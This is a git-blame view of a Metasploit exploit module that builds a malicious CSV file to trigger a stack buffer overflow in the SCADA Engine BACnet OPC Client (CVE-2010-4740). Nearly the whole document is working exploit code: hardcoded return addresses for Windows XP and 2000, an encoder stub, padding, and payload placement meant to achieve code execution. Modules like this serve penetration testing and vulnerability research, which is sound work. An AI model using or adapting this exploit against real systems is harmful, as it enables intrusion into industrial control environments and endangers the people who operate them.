Files
metasploit-gs/modules/exploits/windows/fileformat/bacnet_csv.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

77 lines
2.2 KiB
Ruby
Raw Normal View History

2010-11-11 16:35:01 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-11-11 16:35:01 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-11-11 16:35:01 +00:00
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
2010-11-11 18:20:52 +00:00
2010-11-11 16:35:01 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'BACnet OPC Client Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SCADA
2010-11-11 16:35:01 +00:00
Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
parses a specially crafted csv file, arbitrary code may be
executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'Jeremy Brown', 'MC' ],
'References' =>
[
2018-07-08 18:46:04 -05:00
[ 'CVE', '2010-4740' ],
[ 'OSVDB', '68096'],
2010-11-11 16:35:01 +00:00
[ 'BID', '43289' ],
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-264-01' ],
2010-11-11 16:35:01 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
2010-11-11 18:20:52 +00:00
},
2010-11-11 16:35:01 +00:00
'Payload' =>
{
'MinNops' => 0,
'MaxNops' => 0,
'Space' => 698,
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
'StackAdjustment' => -3500,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
2010-11-11 18:20:52 +00:00
'Targets' =>
2010-11-11 16:35:01 +00:00
[
2010-11-11 18:20:52 +00:00
[ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
2010-11-11 16:35:01 +00:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-09-16',
2010-11-11 16:35:01 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new( 'FILENAME', [ false, 'The file name.', 'msf.csv' ]),
])
2010-11-11 16:35:01 +00:00
end
def exploit
csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
csv << rand_text_alpha_upper(185)
csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
csv << "\\scada,0,0,\n"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(csv)
2010-11-11 18:20:52 +00:00
2010-11-11 16:35:01 +00:00
end
end